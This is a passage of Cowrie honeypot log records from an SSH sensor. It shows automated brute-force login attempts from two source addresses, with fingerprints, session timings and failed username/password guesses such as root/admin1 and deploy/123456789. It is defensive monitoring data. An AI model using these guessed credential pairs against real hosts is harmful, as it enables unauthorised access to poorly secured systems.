0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:31.894764Z","src_ip":"91.92.42.133","session":"35fde555727c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:32.323817Z","src_ip":"91.92.42.133","session":"35fde555727c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:32.563304Z","src_ip":"91.92.40.171","session":"f7ef25b0aebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:33.450293Z","src_ip":"91.92.42.133","session":"35fde555727c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:35.251715Z","src_ip":"91.92.40.171","session":"f7ef25b0aebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":40912,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccd1259bb900","protocol":"ssh","message":"New connection: 91.92.40.171:40912 (159.203.135.109:22) [session: ccd1259bb900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:36.934262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:37.126256Z","src_ip":"91.92.40.171","session":"ccd1259bb900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:37.273307Z","src_ip":"91.92.40.171","session":"f7ef25b0aebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43566,"dst_ip":"159.203.135.109","dst_port":22,"session":"19d25aa07c12","protocol":"ssh","message":"New connection: 91.92.42.133:43566 (159.203.135.109:22) [session: 19d25aa07c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:37.595889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:37.776653Z","src_ip":"91.92.42.133","session":"19d25aa07c12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:37.779831Z","src_ip":"91.92.42.133","session":"19d25aa07c12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:37.953168Z","src_ip":"91.92.40.171","session":"ccd1259bb900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.31767988204956,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:38.242576Z","src_ip":"73.72.45.69","session":"53cc29f4bdb2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:38.521916Z","src_ip":"91.92.42.133","session":"19d25aa07c12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:39.637002Z","src_ip":"91.92.42.133","session":"19d25aa07c12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":40950,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae895c8dfec2","protocol":"ssh","message":"New connection: 91.92.40.171:40950 (159.203.135.109:22) [session: ae895c8dfec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:40.831039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:40.850494Z","src_ip":"91.92.40.171","session":"ae895c8dfec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:40.903906Z","src_ip":"91.92.40.171","session":"ccd1259bb900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:40.930375Z","src_ip":"91.92.40.171","session":"ae895c8dfec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"modzmodz","message":"login attempt [root/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:41.335679Z","src_ip":"91.92.40.171","session":"ae895c8dfec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:42.505703Z","src_ip":"91.92.40.171","session":"ae895c8dfec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:43.072864Z","src_ip":"91.92.40.171","session":"ccd1259bb900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43594,"dst_ip":"159.203.135.109","dst_port":22,"session":"f090543f1e0a","protocol":"ssh","message":"New connection: 91.92.42.133:43594 (159.203.135.109:22) [session: f090543f1e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:43.382800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:43.387904Z","src_ip":"91.92.42.133","session":"f090543f1e0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:43.491187Z","src_ip":"91.92.42.133","session":"f090543f1e0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"P@ssw0rd","message":"login attempt [core/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:43.805683Z","src_ip":"91.92.42.133","session":"f090543f1e0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:45.055517Z","src_ip":"91.92.42.133","session":"f090543f1e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":53660,"dst_ip":"159.203.135.109","dst_port":22,"session":"416b81c5b590","protocol":"ssh","message":"New connection: 91.92.40.171:53660 (159.203.135.109:22) [session: 416b81c5b590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:48.346527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:48.349981Z","src_ip":"91.92.40.171","session":"416b81c5b590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33608,"dst_ip":"159.203.135.109","dst_port":22,"session":"10576d414b43","protocol":"ssh","message":"New connection: 91.92.42.133:33608 (159.203.135.109:22) [session: 10576d414b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:48.654567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:48.657936Z","src_ip":"91.92.42.133","session":"10576d414b43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:48.773498Z","src_ip":"91.92.42.133","session":"10576d414b43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:49.054302Z","src_ip":"91.92.42.133","session":"10576d414b43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:49.594512Z","src_ip":"91.92.40.171","session":"416b81c5b590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:50.139638Z","src_ip":"91.92.42.133","session":"10576d414b43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":53692,"dst_ip":"159.203.135.109","dst_port":22,"session":"22b3876f6d2b","protocol":"ssh","message":"New connection: 91.92.40.171:53692 (159.203.135.109:22) [session: 22b3876f6d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:53.858738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:53.884613Z","src_ip":"91.92.40.171","session":"22b3876f6d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58138,"dst_ip":"159.203.135.109","dst_port":22,"session":"0869caab87aa","protocol":"ssh","message":"New connection: 91.92.42.133:58138 (159.203.135.109:22) [session: 0869caab87aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:54.758179Z"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:54.765636Z","src_ip":"91.92.40.171","session":"416b81c5b590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:54.781331Z","src_ip":"91.92.40.171","session":"22b3876f6d2b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:54.788637Z","src_ip":"91.92.42.133","session":"0869caab87aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac